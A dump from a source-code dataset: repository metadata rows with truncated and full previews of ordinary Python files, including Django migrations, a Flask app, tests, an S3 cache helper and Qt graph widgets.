1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
3
2015-11-24T16:26:02.000Z
2019-04-09T07:37:12.000Z
Products/CMFCore/namespace.py
fulv/Products.CMFCore
1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
86
2015-09-10T16:25:08.000Z
2022-03-17T07:16:30.000Z
Products/CMFCore/namespace.py
fulv/Products.CMFCore
1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
16
2015-08-21T21:35:35.000Z
2021-08-04T18:20:55.000Z
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS I...
34.264151
78
0.638767
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS I...
0
766
0
0
0
0
0
168
223
d76b78f1c4bee61c04a8cdbb67b8d579d644dbf3
483
py
Python
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
1
2021-06-16T07:32:17.000Z
2021-06-16T07:32:17.000Z
import os, sys help_msg = """ Usage: python remove_file_by_path.py list_file Note: 1. list_file contains a full file path list, such as: /sa/sample/normal/file_1 /sa/sample/normal/file_2 ... /sa/sample/normal/file_n """ if len(sys.argv) != 2: print help_msg exit(-1) with open(sys.argv[1], 'r') as fh: ...
17.888889
54
0.679089
import os, sys help_msg = """ Usage: python remove_file_by_path.py list_file Note: 1. list_file contains a full file path list, such as: /sa/sample/normal/file_1 /sa/sample/normal/file_2 ... /sa/sample/normal/file_n """ if len(sys.argv) != 2: print help_msg exit(-1) with open(sys.argv[1], 'r') as fh: ...
0
0
0
0
0
0
0
0
0
bbea072fd931b73390168d9c36169bdd10af6c66
430
py
Python
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
Lunga001/datamanager
ebe9ad9db2ee7011855f1249c46d9d1bf6f4c4d1
[ "MIT" ]
3
2019-08-31T03:08:22.000Z
2020-04-03T13:09:20.000Z
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
Lunga001/datamanager
ebe9ad9db2ee7011855f1249c46d9d1bf6f4c4d1
[ "MIT" ]
97
2019-04-16T07:54:38.000Z
2022-02-10T07:25:48.000Z
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
OpenUpSA/budget-portal
879c5875b1d438b9287c38d6730c86be69051ac5
[ "MIT" ]
14
2019-04-23T09:48:17.000Z
2021-04-13T17:48:40.000Z
# Generated by Django 2.2.10 on 2020-03-14 10:35
22.631579
75
0.625581
# Generated by Django 2.2.10 on 2020-03-14 10:35 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("budgetportal", "0048_merge_20200314_1035"), ] operations = [ migrations.AddField( model_name="infraprojectsnapshot", ...
0
0
0
315
0
0
0
19
46
c7fabc6e700380d7fb1aca4f89c37103100dc956
999
py
Python
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 import sys, calendar, datetime, time args=sys.argv[1:] if len(args) < 2: print("Usage: archive.py echoarea YYYY.MM.DD") quit() date = args[1].split(".") date = calendar.timegm(datetime.date(int(date[0]), int(date[1]), int(date[2])).timetuple()) echoarea = getMsgList(args[0]) if len(echoar...
21.717391
91
0.652653
#!/usr/bin/env python3 import sys, calendar, datetime, time from ii_functions import * args=sys.argv[1:] if len(args) < 2: print("Usage: archive.py echoarea YYYY.MM.DD") quit() date = args[1].split(".") date = calendar.timegm(datetime.date(int(date[0]), int(date[1]), int(date[2])).timetuple()) echoarea = getMsgL...
96
0
0
0
0
0
0
5
22
372b84b3a7c545b2d96697f8a0bbc6be2ee7204e
1,797
py
Python
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
null
null
null
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
3
2021-08-05T07:56:05.000Z
2022-03-22T12:35:44.000Z
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
null
null
null
#!/usr/bin/python3
32.089286
75
0.588203
#!/usr/bin/python3 import os import logging import json from datetime import datetime import requests class FileNotFound(Exception): '''Exception class for file checking''' class Model: '''Class for managing requests''' def __init__(self, name): '''Constructor''' logging.info('init()') ...
0
0
0
1,647
0
0
0
-27
157
52454dc1edfd7f9785b569dbf24d6e043bd740eb
116
py
Python
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
1
2016-10-01T18:35:24.000Z
2016-10-01T18:35:24.000Z
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
8
2016-09-14T21:39:09.000Z
2016-10-25T20:08:31.000Z
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
null
null
null
from django_rest_admin.register import rest_admin from .models import TextContent rest_admin.register(TextContent)
23.2
49
0.87069
from django_rest_admin.register import rest_admin from .models import TextContent rest_admin.register(TextContent)
0
0
0
0
0
0
0
0
0
62d5321247e6bfe99fb6451de4c25779d5316f64
448
py
Python
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
1
2018-09-18T11:10:53.000Z
2018-09-18T11:10:53.000Z
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
# # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 #
23.578947
56
0.774554
# # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # from django.utils.translation import ugettext_lazy as _ from horizon import tabs from starlingx_dashboard.dashboards.admin.providernets \ import tabs as project_tabs class IndexViewTabbed(tabs.TabbedTableView): tab_gr...
0
0
0
161
0
0
0
104
92
802f3005899170e0dea6d1044ff89f7cc810afd6
98
py
Python
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
import os USBFile = open('test.txt.', 'r') i = 0 for line1 in USBFile: i += 1 for line
9.8
32
0.561224
import os USBFile = open('test.txt.', 'r') i = 0 for line1 in USBFile: i += 1 for line
0
0
0
0
0
0
0
0
0
573ea43aacc7ec6a35d4191ef8b3cb7014f460cf
980
py
Python
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
13
2019-05-25T20:25:51.000Z
2022-03-19T13:36:23.000Z
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
53
2019-06-07T13:31:59.000Z
2022-03-28T22:53:47.000Z
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
78
2019-06-30T08:42:13.000Z
2022-03-23T20:11:42.000Z
# from quicktracer import trace # Note: "score" in this file is not scoring a goal, but an arbitrary reward
28
75
0.614286
from .vector_math import * # from quicktracer import trace # Note: "score" in this file is not scoring a goal, but an arbitrary reward class Scorer(object): def update(s): pass def get_score(self): return 0.0 def rms_deviation_from_diffs(diffs): deviation = 0 for diff in diffs: ...
0
0
0
661
0
114
0
5
91
035845d5a7a1acae987c4a4324f776ae98b192e4
5,296
py
Python
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
try: except ImportError: raise ImportError("Can't import matplotlib. See https://github.com/rueckstiess/mtools/blob/master/INSTALL.md for \ instructions how to install matplotlib or try mlogvis instead, which is a simplified version of mplotqueries \ that visualizes the logfile in a web browser.") ...
36.777778
146
0.622734
from mtools.mplotqueries.plottypes.base_type import BasePlotType import argparse import types import re import numpy as np try: from matplotlib.dates import date2num, num2date except ImportError: raise ImportError("Can't import matplotlib. See https://github.com/rueckstiess/mtools/blob/master/INSTALL.md for \ ...
0
249
0
4,155
0
0
0
68
182
6ea75d2ca08c6a7dc8db33d088e69c691a2396ab
317
py
Python
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
#peca um ano e diga se o ano bisexto from datetime import date ano = int(input('Digite um ano: ')) resto_quatro = ano % 4 resto_cem = ano % 100 if ano == 0: ano = date.today().year if resto_quatro == 0 and resto_cem > 0: print('Ano {} bisexto'.format(ano)) else: print('{} No bisexto'.format(ano))
26.416667
41
0.652997
#peca um ano e diga se o ano é bisexto from datetime import date ano = int(input('Digite um ano: ')) resto_quatro = ano % 4 resto_cem = ano % 100 if ano == 0: ano = date.today().year if resto_quatro == 0 and resto_cem > 0: print('Ano {} é bisexto'.format(ano)) else: print('{} Não é bisexto'.format(ano))
8
0
0
0
0
0
0
1
0
354dda920d6cebe2bc136e8acab3938bbc2b67f8
4,932
py
Python
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
2
2018-10-03T16:05:14.000Z
2019-03-08T23:01:29.000Z
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
3
2019-05-09T22:48:22.000Z
2020-06-05T18:52:05.000Z
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
4
2018-08-16T22:25:10.000Z
2021-02-19T16:10:15.000Z
#============================ # Plate views #----------------------------
26.95082
111
0.703366
from django.contrib.auth.decorators import login_required from django.core.checks import messages from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404 from pbal.forms import ( PbalLibraryForm, PbalLibrarySampleDetailInlineFormset, PbalLibraryConstructionInfoInlineForm...
0
2,027
0
1,668
0
0
0
598
547
6b30aaafa4ff957e3bbedf6cc0c68de9de8658d0
399
py
Python
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
2
2022-03-17T04:48:04.000Z
2022-03-20T09:06:19.000Z
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
null
null
null
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 MosaicML. All Rights Reserved. from composer.models.classify_mnist.mnist_hparams import MnistClassifierHparams as MnistClassifierHparams from composer.models.classify_mnist.model import MNIST_Classifier as MNIST_Classifier _task = 'Image Classification' _dataset = 'MNIST' _name = 'SimpleConvNet' _qua...
30.692308
105
0.81203
# Copyright 2021 MosaicML. All Rights Reserved. from composer.models.classify_mnist.mnist_hparams import MnistClassifierHparams as MnistClassifierHparams from composer.models.classify_mnist.model import MNIST_Classifier as MNIST_Classifier _task = 'Image Classification' _dataset = 'MNIST' _name = 'SimpleConvNet' _qua...
0
0
0
0
0
0
0
0
0
f7a14466a4bf675945d2f9bf2ed557d63e9e9155
1,643
py
Python
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
null
null
null
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
7
2020-07-17T06:42:37.000Z
2022-02-26T11:37:24.000Z
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
null
null
null
from flask import Flask import db import abstractDriver import messageAnnouncer from api import dbAPI from story import Story from api import adminAPI from api import streamAPI from api import scrapeAPI from dashboard import Dashboard announcer = messageAnnouncer.MessageAnnouncer() abstractDriver = abstractDriver.Abs...
22.819444
77
0.701765
import os from flask import Flask from flask import request from flask import render_template from flask import send_from_directory import db import abstractDriver import messageAnnouncer from api import dbAPI from story import Story from api import adminAPI from api import streamAPI from api import scrapeAPI from dash...
0
444
0
0
0
0
0
20
134
c180855bb7981492cdc099acf18a5347c40c87ad
2,933
py
Python
test/multiregressionsigma_test.py
weatherai/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
9
2019-09-02T07:40:51.000Z
2021-10-04T22:31:22.000Z
test/multiregressionsigma_test.py
weatherai/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
18
2019-06-06T07:40:40.000Z
2022-02-04T07:57:51.000Z
test/multiregressionsigma_test.py
PhilipeRLeal/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
6
2019-06-14T09:42:24.000Z
2020-11-07T04:42:51.000Z
'''Tests for pymica.multiregression.py '''
42.507246
79
0.527446
'''Tests for pymica.multiregression.py ''' import unittest from pymica.multiregression import MultiRegression, MultiRegressionSigma class TestMultiRegressionSigma(unittest.TestCase): def test_regression_ideal_data(self): data = [{'id': 'AA', 'hr': 0, 'temp': 0, 'dist': 0, 'altitude': 0}, ...
0
0
0
2,776
0
0
0
45
68
a2ef7bed870f202bc3a9bb4a6e74722c4d3d04d6
1,752
py
Python
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
2
2021-05-24T15:12:07.000Z
2022-02-17T19:58:16.000Z
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
1
2022-02-27T03:01:06.000Z
2022-02-27T03:01:06.000Z
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
2
2021-06-08T18:16:40.000Z
2021-07-09T14:19:49.000Z
"""Add user settings""" # revision identifiers, used by Alembic. revision = '2' down_revision = '1' branch_labels = None depends_on = None
31.285714
76
0.569064
"""Add user settings""" from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2' down_revision = '1' branch_labels = None depends_on = None def upgrade(): with op.batch_alter_table( 'users', recreate='always', table_args=( sa....
0
0
0
0
0
1,516
0
3
90
ba45e83278116bf353e0df8e395e6b6aa3f18760
1,850
py
Python
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
68
2017-05-30T20:24:28.000Z
2021-11-15T12:44:55.000Z
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
23
2017-07-20T21:56:38.000Z
2021-12-10T05:33:52.000Z
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
39
2017-05-30T17:32:11.000Z
2022-01-05T03:40:57.000Z
""" Test job utils. """ from __future__ import absolute_import, division, print_function, unicode_literals from nose.tools import assert_equals assert_equals.__self__.maxDiff = None
22.560976
82
0.583243
""" Test job utils. """ from __future__ import absolute_import, division, print_function, unicode_literals import unittest from nose.tools import assert_equals, assert_raises assert_equals.__self__.maxDiff = None from pygenie.jobs.utils import arg_list class ArgList(object): def __init__(self): se...
0
65
0
1,476
0
0
0
27
92
0adc8d2b51644a2656bc6ac0a6af8f0645119976
2,323
py
Python
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
1
2015-06-26T18:05:20.000Z
2015-06-26T18:05:20.000Z
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
null
null
null
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python #coding: utf-8 #from __future__ import unicode_literals #from gevent import socket #from kasaya.core.exceptions import NotOurMessage #import traceback """ self start 1. broadcast about host start Remote hosts 1. received broadcast about host start 2. if host is new, it is registered in databas...
21.509259
88
0.727077
#!/usr/bin/env python #coding: utf-8 #from __future__ import unicode_literals from kasaya.conf import settings #from gevent import socket from kasaya.core.protocol import Serializer, messages from kasaya.core.lib import LOG #from kasaya.core.exceptions import NotOurMessage from kasaya.core.events import emit #import tr...
0
0
0
307
0
0
0
67
111
8da9ab2bcea95efd1a4a025bb16e027b850ecd38
3,945
py
Python
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
null
null
null
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
38
2020-06-28T20:28:18.000Z
2021-03-29T16:43:29.000Z
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
null
null
null
""" file_cache_manager.py - Manage a local cache of files synchronized through S3 Copyright (c) 2020 by Thomas J. Daley, J.D. """ import boto3 from dotenv import load_dotenv load_dotenv() def _connect(): """ Connects to the S3 service and returns a Boto3 object. """ return boto3.resource('s3')
34.911504
90
0.66033
""" file_cache_manager.py - Manage a local cache of files synchronized through S3 Copyright (c) 2020 by Thomas J. Daley, J.D. """ import boto3 from boto3.s3.transfer import TransferConfig from botocore.exceptions import ClientError import os from dotenv import load_dotenv from util.logger import get_logger load_dote...
0
0
0
3,028
0
395
0
46
157
0b71933419352ddc3ba08e7658751ff8dd9fd14d
39,060
py
Python
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
3
2015-01-02T19:21:49.000Z
2019-05-11T11:11:18.000Z
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
null
null
null
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
null
null
null
# # Depends # Copyright (C) 2014 by Andrew Gardner & Jonas Unger. All rights reserved. # BSD license (LICENSE.txt for details). # """ A collection of QT graphics widgets that displays and allows the user to manipulate a dependency graph. From the entire scene, to the nodes, to the connections between the nodes, to...
36.538821
155
0.587455
# # Depends # Copyright (C) 2014 by Andrew Gardner & Jonas Unger. All rights reserved. # BSD license (LICENSE.txt for details). # import math from PySide import QtCore, QtGui import node import undo_commands """ A collection of QT graphics widgets that displays and allows the user to manipulate a dependency grap...
0
0
0
37,497
0
0
0
-10
223